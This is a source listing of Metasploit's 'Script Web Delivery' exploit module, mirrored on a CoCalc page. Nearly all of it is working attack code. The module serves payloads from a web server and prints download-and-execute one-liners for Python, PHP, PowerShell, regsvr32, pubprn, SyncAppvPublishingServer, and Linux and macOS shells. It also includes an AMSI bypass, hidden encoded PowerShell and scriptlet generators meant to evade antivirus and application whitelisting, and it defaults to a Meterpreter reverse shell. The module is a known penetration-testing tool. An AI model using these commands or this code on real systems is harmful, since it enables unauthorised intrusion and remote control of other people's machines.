CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/script/web_delivery.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ManualRanking
9
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Powershell
12
include Msf::Exploit::Remote::HttpServer
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Script Web Delivery',
19
'Description' => %q{
20
This module quickly fires up a web server that serves a payload.
21
22
The module will provide a command to be run on the target machine
23
based on the selected target. The provided command will download
24
and execute a payload using either a specified scripting language
25
interpreter or "squiblydoo" via regsvr32.exe for bypassing
26
application whitelisting.
27
28
The main purpose of this module is to quickly establish a session on a
29
target machine when the attacker has to manually type in the command:
30
e.g. Command Injection, RDP Session, Local Access or maybe Remote
31
Command Execution.
32
33
This attack vector does not write to disk so it is less likely to
34
trigger AV solutions and will allow privilege escalations supplied
35
by Meterpreter.
36
37
When using either of the PSH targets, ensure the payload architecture
38
matches the target computer or use SYSWOW64 powershell.exe to execute
39
x86 payloads on x64 machines.
40
41
Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.
42
The signed Microsoft binary file, Regsvr32, is able to request an .sct
43
file and then execute the included PowerShell command inside of it.
44
45
Similarly, the pubprn target uses the pubprn.vbs script to request and
46
execute a .sct file.
47
48
Both web requests (i.e., the .sct file and PowerShell download/execute)
49
can occur on the same port.
50
51
The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
52
Microsoft signed binary to request and execute a PowerShell script. This
53
technique only works on Windows 10 builds <= 1709.
54
55
"PSH (Binary)" will write a file to the disk, allowing for custom binaries
56
to be served up to be downloaded and executed.
57
},
58
'License' => MSF_LICENSE,
59
'Author' =>
60
[
61
'Andrew Smith "jakx" <[email protected]>',
62
'Ben Campbell',
63
'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
64
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
65
'Trenton Ivey', # AppLocker MSF Module (kn0)
66
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
67
'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget
68
'Matt Nelson', # @enigma0x3 // pubprn discovery
69
'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass
70
'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery
71
],
72
'DefaultOptions' =>
73
{
74
'Payload' => 'python/meterpreter/reverse_tcp',
75
'Powershell::exec_in_place' => true
76
},
77
'References' =>
78
[
79
['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
80
['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
81
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
82
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
83
['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
84
['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
85
['URL', 'https://iwantmore.pizza/posts/amsi.html'],
86
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],
87
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],
88
['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],
89
],
90
'Platform' => %w[python php win linux osx],
91
'Targets' =>
92
[
93
[
94
'Python', {
95
'Platform' => 'python',
96
'Arch' => ARCH_PYTHON
97
}
98
],
99
[
100
'PHP', {
101
'Platform' => 'php',
102
'Arch' => ARCH_PHP
103
}
104
],
105
[
106
'PSH', {
107
'Platform' => 'win',
108
'Arch' => [ARCH_X86, ARCH_X64]
109
}
110
],
111
[
112
'Regsvr32', {
113
'Platform' => 'win',
114
'Arch' => [ARCH_X86, ARCH_X64]
115
}
116
],
117
[
118
'pubprn', {
119
'Platform' => 'win',
120
'Arch' => [ARCH_X86, ARCH_X64]
121
}
122
],
123
[
124
'SyncAppvPublishingServer', {
125
'Platform' => 'win',
126
'Arch' => [ARCH_X86, ARCH_X64]
127
}
128
],
129
[
130
'PSH (Binary)', {
131
'Platform' => 'win',
132
'Arch' => [ARCH_X86, ARCH_X64]
133
}
134
],
135
[
136
'Linux', {
137
'Platform' => 'linux',
138
'Arch' => [ARCH_X86, ARCH_X64]
139
}
140
],
141
[
142
'Mac OS X', {
143
'Platform' => 'osx',
144
'Arch' => [ARCH_X86, ARCH_X64]
145
}
146
],
147
],
148
'DefaultTarget' => 0,
149
'DisclosureDate' => '2013-07-19'
150
)
151
)
152
153
register_advanced_options(
154
[
155
OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),
156
OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),
157
OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),
158
OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),
159
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
160
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
161
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
162
]
163
)
164
end
165
166
def primer
167
print_status('Run the following command on the target machine:')
168
169
case target.name
170
when 'PHP'
171
print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))
172
when 'Python'
173
print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))
174
when 'PSH'
175
uri = get_uri
176
if datastore['PSH-AmsiBypass']
177
amsi_uri = uri + amsi_bypass_uri
178
print_line(gen_psh([amsi_uri, uri], 'string').to_s)
179
else
180
print_line(gen_psh(uri, 'string').to_s)
181
end
182
when 'pubprn'
183
print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))
184
when 'SyncAppvPublishingServer'
185
print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))
186
when 'Regsvr32'
187
print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))
188
when 'PSH (Binary)'
189
psh = gen_psh(get_uri.to_s, 'download')
190
print_line(psh.to_s)
191
when 'Linux'
192
fname = Rex::Text.rand_text_alphanumeric(8)
193
print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
194
when 'Mac OS X'
195
fname = Rex::Text.rand_text_alphanumeric(8)
196
print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
197
end
198
end
199
200
def amsi_bypass_uri
201
unless datastore['PSH-AmsiBypassURI'].empty?
202
@amsi_uri = datastore['PSH-AmsiBypassURI']
203
end
204
@amsi_uri ||= random_uri
205
end
206
207
def on_request_uri(cli, request)
208
if request.raw_uri.to_s.ends_with?('.sct')
209
print_status('Handling .sct Request')
210
psh = gen_psh(get_uri.to_s, 'string')
211
212
case target.name
213
when 'pubprn'
214
data = gen_pubprn_sct_file(psh)
215
when 'Regsvr32'
216
data = gen_sct_file(psh)
217
else
218
print_error('Unexpected request for .sct file')
219
end
220
221
send_response(cli, data, 'Content-Type' => 'text/plain')
222
return
223
end
224
225
if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)
226
data = bypass_powershell_protections
227
print_status("Delivering AMSI Bypass (#{data.length} bytes)")
228
send_response(cli, data, 'Content-Type' => 'text/plain')
229
return
230
end
231
232
case target.name
233
when 'Linux', 'Mac OS X', 'PSH (Binary)'
234
data = generate_payload_exe
235
when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'
236
data = cmd_psh_payload(
237
payload.encoded,
238
payload_instance.arch.first
239
)
240
else
241
data = payload.encoded.to_s
242
end
243
244
print_status("Delivering Payload (#{data.length} bytes)")
245
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
246
end
247
248
def gen_psh(url, *method)
249
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
250
force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']
251
252
if method.include? 'string'
253
download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)
254
else
255
# Random filename to use, if there isn't anything set
256
random = "#{rand_text_alphanumeric(8)}.exe"
257
258
# Set filename (Use random filename if empty)
259
filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']
260
261
# Set path (Use %TEMP% if empty)
262
path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')
263
264
# Join Path and Filename
265
file = %(echo (#{path}+'\\#{filename}'))
266
267
# Generate download PowerShell command
268
download_string = Rex::Powershell::PshMethods.download_run(url, file)
269
end
270
271
download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"
272
273
# Generate main PowerShell command
274
if datastore['PSH-EncodedCommand']
275
download_and_run = encode_script(download_and_run)
276
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)
277
end
278
279
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
280
end
281
282
def rand_class_id
283
"#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"
284
end
285
286
def gen_sct_file(command)
287
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
288
end
289
290
def gen_pubprn_sct_file(command)
291
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
292
end
293
end
294
295